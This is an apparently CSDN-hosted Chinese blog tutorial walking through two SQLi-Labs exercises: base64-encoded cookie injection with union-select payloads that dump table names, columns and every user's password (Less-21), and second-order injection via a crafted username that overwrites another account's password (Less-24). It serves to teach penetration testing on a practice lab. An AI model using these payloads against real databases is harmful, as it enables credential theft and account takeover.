06_SQL注入_二次注入&加密解密

06_SQL注入_加密注入&二次注入

1.加密注入

SQL注入的思路是用户用自定义语句和原本的SQL语句拼接,但有时开发者会对获取到的数据进行加密,那么对于渗透测试者而言如果想要在这样的情况下进行操作,则需要将自己的注入语句进行相同的加密处理后与原本的语句进行拼接。这种类型的大体思路和先前的思路整体无异,唯一的区别就是需要测试者先写好payload,再进行加密,随后将数据包放出进行注入尝试。

加密类型的注入在SQLi-Labs中得到了复现,实验如下:

  • 【靶场】SQLi-Labs less-21
  • 【知识点】post注入&cookie注入&加密注入
  • 【工具】burpsuite
  • 【目标】测试人员拥有账户admin,其密码为admin。目标为获取其他用户的密码。
  • 【实验步骤】

登录admin,提交后抓取回显数据包,内容如下:

GET /sqli-labs-master/Less-21/index.php HTTP/1.1

Host: 192.168.124.21

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.124.21/sqli-labs-master/Less-21/

Connection: close

Cookie: uname=YWRtaW4%3D

Upgrade-Insecure-Requests: 1

Cookie: uname=YWRtaW4%3D由于Base64编码的特性是将%3D作为填充,由此判断在Cookie处尝试注入需要对payload进行base64编码(decoder模块可以完成这项操作)

注入点判断
在这里插入图片描述

构造cookie值为admin’(base64:YWRtaW4n)

报错如下:

Issue with your mysql: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘admin’') LIMIT 0,1’ at line 1

判断我们需要闭合单引号和括号

修改cookie为admin’)# (base64:YWRtaW4nKSM=)回显正常!
在这里插入图片描述

联合查询进行注入

admin') order by 4#

出现报错:Issue with your mysql: Unknown column ‘4’ in ‘order clause’

修改payload为admin') order by 3#

回显正常!

修改payload判断回显位置

admin') and 1=-1 union select 1,2,3#

在这里插入图片描述

修改2,3进行查询即可

信息收集

信息收集的payload如下:

admin') and 1=-1 union select 1,version(),3#

admin') and 1=-1 union select 1,user(),3#

admin') and 1=-1 union select 1,database(),3#

得到如下信息

DBMS:Mysql
版本:5.0以上
用户:root
当前数据库:security

信息爆破

爆出所有表名:

admin') and 1=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'#
在这里插入图片描述
爆出user中所有的列名

admin') and 1=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security'#

在这里插入图片描述
查询所有用户名和密码

admin') and 1=-1 union select 1,group_concat(username),group_concat(password) from users#

在这里插入图片描述
任务完成!

2.二次注入

二次注入属于白盒测试的范畴,需要根据源代码判断其是否存在,其成因可以概述为:入库的数据在调用时和语句进行拼接从而进行一系列自定义操作。
在这里插入图片描述

如某网站,创建用户的SQL语句为

$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";

更改密码的SQL语句为:

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

那么就存在二次注入的漏洞,具体危害见如下实验:

【靶场】Sqli-labs less24

【知识点】二次注入

【提示】关键代码为上述代码,已知存在一个用户xigua,想办法登录该账户

【过程】

分析两段源代码

$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";

该代码直接将获得的用户名和密码插入到users表中,没做任何处理,任何形式的数据都能插入,包括含有特殊符号的参数

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

对于这段代码中如果username中含有’#,那么就会出现一些问题,如username为 admin’#时sql语句就会变为

$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";

这样的语句执行,就会变向越权修改admin的密码,有了上述思路,我们就能够尝试变向越权修改xigua的密码进行登录。

向数据库中注入恶意代码

注册一个用户,其用户名为xigua’#,密码88888888
在这里插入图片描述
变相越权修改密码

登录该用户,并修改密码为999999999,根据分析这个密码将会变相的成为用户xigua的密码
在这里插入图片描述
尝试登录
在这里插入图片描述
成功登录!回家吃西瓜🍉
【捞一捞本系列其他文章,不熟悉注入思路的可以通过本专栏其他文章进行交流】
https://blog.csdn.net/qq_42171569/category_11762282.html

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值